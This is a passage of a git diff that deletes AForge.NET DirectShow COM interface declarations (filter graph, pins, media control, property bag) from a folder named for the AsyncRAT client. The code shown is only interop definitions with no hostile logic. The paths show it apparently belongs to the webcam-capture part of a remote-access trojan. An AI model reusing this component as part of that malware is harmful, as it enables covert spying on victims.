diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs
deleted file mode 100644
index a4c8eb9..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs
+++ /dev/null
@@ -1,71 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007-2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// This interface is used by applications or other filters to determine
- /// what filters exist in the filter graph.
- ///
- ///
- [ComImport,
- Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IEnumFilters
- {
- ///
- /// Retrieves the specified number of filters in the enumeration sequence.
- ///
- ///
- /// Number of filters to retrieve.
- /// Array in which to place interfaces.
- /// Actual number of filters placed in the array.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Next( [In] int cFilters,
- [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters,
- [Out] out int filtersFetched );
-
- ///
- /// Skips a specified number of filters in the enumeration sequence.
- ///
- ///
- /// Number of filters to skip.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Skip( [In] int cFilters );
-
- ///
- /// Resets the enumeration sequence to the beginning.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Reset( );
-
- ///
- /// Makes a copy of the enumerator with the same enumeration state.
- ///
- ///
- /// Duplicate of the enumerator.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- ///
- [PreserveSig]
- int Clone( [Out] out IEnumFilters enumFilters );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs
deleted file mode 100644
index 41e1f74..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs
+++ /dev/null
@@ -1,68 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// Enumerates pins on a filter.
- ///
- ///
- [ComImport,
- Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IEnumPins
- {
- ///
- /// Retrieves a specified number of pins.
- ///
- ///
- /// Number of pins to retrieve.
- /// Array of size cPins that is filled with IPin pointers.
- /// Receives the number of pins retrieved.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Next( [In] int cPins,
- [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins,
- [Out] out int pinsFetched );
-
- ///
- /// Skips a specified number of pins in the enumeration sequence.
- ///
- ///
- /// Number of pins to skip.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Skip( [In] int cPins );
-
- ///
- /// Resets the enumeration sequence to the beginning.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Reset( );
-
- ///
- /// Makes a copy of the enumerator with the same enumeration state.
- ///
- ///
- /// Duplicate of the enumerator.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Clone( [Out] out IEnumPins enumPins );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs
deleted file mode 100644
index 7d21c5f..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs
+++ /dev/null
@@ -1,113 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface provides methods for building a filter graph. An application can use it to add filters to
- /// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
- ///
- ///
- [ComImport,
- Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IFilterGraph
- {
- ///
- /// Adds a filter to the graph and gives it a name.
- ///
- ///
- /// Filter to add to the graph.
- /// Name of the filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
-
- ///
- /// Removes a filter from the graph.
- ///
- ///
- /// Filter to be removed from the graph.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RemoveFilter( [In] IBaseFilter filter );
-
- ///
- /// Provides an enumerator for all filters in the graph.
- ///
- ///
- /// Filter enumerator.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EnumFilters( [Out] out IntPtr enumerator );
-
- ///
- /// Finds a filter that was added with a specified name.
- ///
- ///
- /// Name of filter to search for.
- /// Interface of found filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
-
- ///
- /// Connects two pins directly (without intervening filters).
- ///
- ///
- /// Output pin.
- /// Input pin.
- /// Media type to use for the connection.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Breaks the existing pin connection and reconnects it to the same pin.
- ///
- ///
- /// Pin to disconnect and reconnect.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Reconnect( [In] IPin pin );
-
- ///
- /// Disconnects a specified pin.
- ///
- ///
- /// Pin to disconnect.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Disconnect( [In] IPin pin );
-
- ///
- /// Sets the reference clock to the default clock.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetDefaultSyncSource( );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs
deleted file mode 100644
index b4dbf4c..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs
+++ /dev/null
@@ -1,257 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
- using System.Runtime.InteropServices.ComTypes;
-
- ///
- /// This interface extends the and
- /// interfaces, which contain methods for building filter graphs.
- ///
- ///
- [ComImport,
- Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"),
- InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
- internal interface IFilterGraph2
- {
- // --- IFilterGraph Methods
-
- ///
- /// Adds a filter to the graph and gives it a name.
- ///
- ///
- /// Filter to add to the graph.
- /// Name of the filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
-
- ///
- /// Removes a filter from the graph.
- ///
- ///
- /// Filter to be removed from the graph.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RemoveFilter( [In] IBaseFilter filter );
-
- ///
- /// Provides an enumerator for all filters in the graph.
- ///
- ///
- /// Filter enumerator.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EnumFilters( [Out] out IEnumFilters enumerator );
-
- ///
- /// Finds a filter that was added with a specified name.
- ///
- ///
- /// Name of filter to search for.
- /// Interface of found filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
-
- ///
- /// Connects two pins directly (without intervening filters).
- ///
- ///
- /// Output pin.
- /// Input pin.
- /// Media type to use for the connection.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Breaks the existing pin connection and reconnects it to the same pin.
- ///
- ///
- /// Pin to disconnect and reconnect.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Reconnect( [In] IPin pin );
-
- ///
- /// Disconnects a specified pin.
- ///
- ///
- /// Pin to disconnect.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Disconnect( [In] IPin pin );
-
- ///
- /// Sets the reference clock to the default clock.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetDefaultSyncSource( );
-
- // --- IGraphBuilder methods
-
- ///
- /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
- ///
- ///
- /// Output pin.
- /// Input pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Connect( [In] IPin pinOut, [In] IPin pinIn );
-
- ///
- /// Adds a chain of filters to a specified output pin to render it.
- ///
- ///
- /// Output pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Render( [In] IPin pinOut );
-
- ///
- /// Builds a filter graph that renders the specified file.
- ///
- ///
- /// Specifies a string that contains file name or device moniker.
- /// Reserved.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RenderFile(
- [In, MarshalAs( UnmanagedType.LPWStr )] string file,
- [In, MarshalAs( UnmanagedType.LPWStr )] string playList );
-
- ///
- /// Adds a source filter to the filter graph for a specific file.
- ///
- ///
- /// Specifies the name of the file to load.
- /// Specifies a name for the source filter.
- /// Variable that receives the interface of the source filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddSourceFilter(
- [In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
- [In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
- [Out] out IBaseFilter filter );
-
- ///
- /// Sets the file for logging actions taken when attempting to perform an operation.
- ///
- ///
- /// Handle to the log file.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetLogFile( IntPtr hFile );
-
- ///
- /// Requests that the graph builder return as soon as possible from its current task.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Abort( );
-
- ///
- /// Queries whether the current operation should continue.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ShouldOperationContinue( );
-
-
- // --- IFilterGraph2 methods
-
- ///
- ///
- ///
- ///
- /// Moniker interface.
- /// Bind context interface.
- /// Name for the filter.
- /// Receives source filter's IBaseFilter interface.
- /// The caller must release the interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddSourceFilterForMoniker(
- [In] IMoniker moniker,
- [In] IBindCtx bindContext,
- [In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
- [Out] out IBaseFilter filter
- );
-
- ///
- /// Breaks the existing pin connection and reconnects it to the same pin,
- /// using a specified media type.
- ///
- ///
- /// Pin to disconnect and reconnect.
- /// Media type to reconnect with.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ReconnectEx(
- [In] IPin pin,
- [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType
- );
-
- ///
- /// Render an output pin, with an option to use existing renderers only.
- ///
- ///
- /// Interface of the output pin.
- /// Flag that specifies how to render the pin.
- /// Reserved.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RenderEx(
- [In] IPin outputPin,
- [In] int flags,
- [In] IntPtr context
- );
-
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs
deleted file mode 100644
index 8f3fc4e..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs
+++ /dev/null
@@ -1,198 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// This interface provides methods that enable an application to build a filter graph.
- ///
- ///
- [ComImport,
- Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IGraphBuilder
- {
- // --- IFilterGraph Methods
-
- ///
- /// Adds a filter to the graph and gives it a name.
- ///
- ///
- /// Filter to add to the graph.
- /// Name of the filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
-
- ///
- /// Removes a filter from the graph.
- ///
- ///
- /// Filter to be removed from the graph.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RemoveFilter( [In] IBaseFilter filter );
-
- ///
- /// Provides an enumerator for all filters in the graph.
- ///
- ///
- /// Filter enumerator.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EnumFilters( [Out] out IEnumFilters enumerator );
-
- ///
- /// Finds a filter that was added with a specified name.
- ///
- ///
- /// Name of filter to search for.
- /// Interface of found filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
-
- ///
- /// Connects two pins directly (without intervening filters).
- ///
- ///
- /// Output pin.
- /// Input pin.
- /// Media type to use for the connection.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Breaks the existing pin connection and reconnects it to the same pin.
- ///
- ///
- /// Pin to disconnect and reconnect.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Reconnect( [In] IPin pin );
-
- ///
- /// Disconnects a specified pin.
- ///
- ///
- /// Pin to disconnect.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Disconnect( [In] IPin pin );
-
- ///
- /// Sets the reference clock to the default clock.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetDefaultSyncSource( );
-
- // --- IGraphBuilder methods
-
- ///
- /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
- ///
- ///
- /// Output pin.
- /// Input pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Connect( [In] IPin pinOut, [In] IPin pinIn );
-
- ///
- /// Adds a chain of filters to a specified output pin to render it.
- ///
- ///
- /// Output pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Render( [In] IPin pinOut );
-
- ///
- /// Builds a filter graph that renders the specified file.
- ///
- ///
- /// Specifies a string that contains file name or device moniker.
- /// Reserved.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RenderFile(
- [In, MarshalAs( UnmanagedType.LPWStr )] string file,
- [In, MarshalAs( UnmanagedType.LPWStr )] string playList);
-
- ///
- /// Adds a source filter to the filter graph for a specific file.
- ///
- ///
- /// Specifies the name of the file to load.
- /// Specifies a name for the source filter.
- /// Variable that receives the interface of the source filter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddSourceFilter(
- [In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
- [In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
- [Out] out IBaseFilter filter );
-
- ///
- /// Sets the file for logging actions taken when attempting to perform an operation.
- ///
- ///
- /// Handle to the log file.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetLogFile( IntPtr hFile );
-
- ///
- /// Requests that the graph builder return as soon as possible from its current task.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Abort( );
-
- ///
- /// Queries whether the current operation should continue.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ShouldOperationContinue( );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs
deleted file mode 100644
index c6ba357..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs
+++ /dev/null
@@ -1,118 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface provides methods for controlling the flow of data through the filter graph.
- /// It includes methods for running, pausing, and stopping the graph.
- ///
- ///
- [ComImport,
- Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsDual )]
- internal interface IMediaControl
- {
- ///
- /// Runs all the filters in the filter graph.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Run( );
-
- ///
- /// Pauses all filters in the filter graph.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Pause( );
-
- ///
- /// Stops all the filters in the filter graph.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Stop( );
-
- ///
- /// Retrieves the state of the filter graph.
- ///
- ///
- /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.
- /// Ìariable that receives a member of the FILTER_STATE enumeration.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetState( int timeout, out int filterState );
-
- ///
- /// Builds a filter graph that renders the specified file.
- ///
- ///
- /// Name of the file to render
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RenderFile( string fileName );
-
- ///
- /// Adds a source filter to the filter graph, for a specified file.
- ///
- ///
- /// Name of the file containing the source video.
- /// Receives interface of filter information object.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo );
-
- ///
- /// Retrieves a collection of the filters in the filter graph.
- ///
- ///
- /// Receives the IAMCollection interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int get_FilterCollection(
- [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
-
- ///
- /// Retrieves a collection of all the filters listed in the registry.
- ///
- ///
- /// Receives the IDispatch interface of IAMCollection object.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int get_RegFilterCollection(
- [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
-
- ///
- /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int StopWhenReady( );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs
deleted file mode 100644
index d01bee8..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs
+++ /dev/null
@@ -1,126 +0,0 @@
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2011
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface inherits contains methods for retrieving event notifications and for overriding the
- /// filter graph's default handling of events.
- ///
- [ComVisible( true ), ComImport,
- Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ),
- InterfaceType( ComInterfaceType.InterfaceIsDual )]
- internal interface IMediaEventEx
- {
- ///
- /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
- ///
- /// Pointer to a variable that receives the event handle.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetEventHandle( out IntPtr hEvent );
-
- ///
- /// Retrieves the next event notification from the event queue.
- ///
- ///
- /// Variable that receives the event code.
- /// Pointer to a variable that receives the first event parameter.
- /// Pointer to a variable that receives the second event parameter.
- /// Time-out interval, in milliseconds.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout );
-
- ///
- /// Waits for the filter graph to render all available data.
- ///
- ///
- /// Time-out interval, in milliseconds. Pass zero to return immediately.
- /// Pointer to a variable that receives an event code.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int WaitForCompletion( int msTimeout, [Out] out int pEvCode );
-
- ///
- /// Cancels the Filter Graph Manager's default handling for a specified event.
- ///
- ///
- /// Event code for which to cancel default handling.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int CancelDefaultHandling( int lEvCode );
-
- ///
- /// Restores the Filter Graph Manager's default handling for a specified event.
- ///
- /// Event code for which to restore default handling.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int RestoreDefaultHandling( int lEvCode );
-
- ///
- /// Frees resources associated with the parameters of an event.
- ///
- /// Event code.
- /// First event parameter.
- /// Second event parameter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 );
-
- ///
- /// Registers a window to process event notifications.
- ///
- ///
- /// Handle to the window, or to stop receiving event messages.
- /// Window message to be passed as the notification.
- /// Value to be passed as the lParam parameter for the lMsg message.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData );
-
- ///
- /// Enables or disables event notifications.
- ///
- ///
- /// Value indicating whether to enable or disable event notifications.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetNotifyFlags( int lNoNotifyFlags );
-
- ///
- /// Determines whether event notifications are enabled.
- ///
- ///
- /// Variable that receives current notification status.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetNotifyFlags( out int lplNoNotifyFlags );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs
deleted file mode 100644
index ceed73f..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs
+++ /dev/null
@@ -1,191 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// This interface is exposed by all input and output pins of DirectShow filters.
- ///
- ///
- [ComImport,
- Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IPin
- {
- ///
- /// Connects the pin to another pin.
- ///
- ///
- /// Other pin to connect to.
- /// Type to use for the connections (optional).
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Makes a connection to this pin and is called by a connecting pin.
- ///
- ///
- /// Connecting pin.
- /// Media type of the samples to be streamed.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Breaks the current pin connection.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Disconnect( );
-
- ///
- /// Returns a pointer to the connecting pin.
- ///
- ///
- /// Receives IPin interface of connected pin (if any).
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ConnectedTo( [Out] out IPin pin );
-
- ///
- /// Returns the media type of this pin's connection.
- ///
- ///
- /// Pointer to an structure. If the pin is connected,
- /// the media type is returned. Otherwise, the structure is initialized to a default state in which
- /// all elements are 0, with the exception of lSampleSize, which is set to 1, and
- /// FixedSizeSamples, which is set to true.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Retrieves information about this pin (for example, the name, owning filter, and direction).
- ///
- ///
- /// structure that receives the pin information.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryPinInfo( [Out] out PinInfo pinInfo );
-
- ///
- /// Retrieves the direction for this pin.
- ///
- ///
- /// Receives direction of the pin.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryDirection( out PinDirection pinDirection );
-
- ///
- /// Retrieves an identifier for the pin.
- ///
- ///
- /// Pin identifier.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id );
-
- ///
- /// Queries whether a given media type is acceptable by the pin.
- ///
- ///
- /// structure that specifies the media type.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Provides an enumerator for this pin's preferred media types.
- ///
- ///
- /// Address of a variable that receives a pointer to the IEnumMediaTypes interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EnumMediaTypes( IntPtr enumerator );
-
- ///
- /// Provides an array of the pins to which this pin internally connects.
- ///
- ///
- /// Address of an array of IPin pointers.
- /// On input, specifies the size of the array. When the method returns,
- /// the value is set to the number of pointers returned in the array.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin );
-
- ///
- /// Notifies the pin that no additional data is expected.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EndOfStream( );
-
- ///
- /// Begins a flush operation.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int BeginFlush( );
-
- ///
- /// Ends a flush operation.
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int EndFlush( );
-
- ///
- /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
- ///
- ///
- /// Start time of the segment, relative to the original source, in 100-nanosecond units.
- /// End time of the segment, relative to the original source, in 100-nanosecond units.
- /// Rate at which this segment should be processed, as a percentage of the original rate.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int NewSegment(
- long start,
- long stop,
- double rate );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs
deleted file mode 100644
index faea69d..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs
+++ /dev/null
@@ -1,53 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The IPropertyBag interface provides an object with a property bag in
- /// which the object can persistently save its properties.
- ///
- ///
- [ComImport,
- Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IPropertyBag
- {
- ///
- /// Read a property from property bag.
- ///
- ///
- /// Property name to read.
- /// Property value.
- /// Caller's error log.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Read(
- [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
- [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar,
- [In] IntPtr pErrorLog );
-
- ///
- /// Write property to property bag.
- ///
- ///
- /// Property name to read.
- /// Property value.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Write(
- [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
- [In, MarshalAs( UnmanagedType.Struct )] ref object pVar );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs
deleted file mode 100644
index cb0328f..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs
+++ /dev/null
@@ -1,87 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © Andrew Kirillov, 2010
-// andrew.kirillov@gmail.com
-//
-// Written by Jeremy Noring
-// kidjan@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The IReferenceClock interface provides the reference time for the filter graph.
- ///
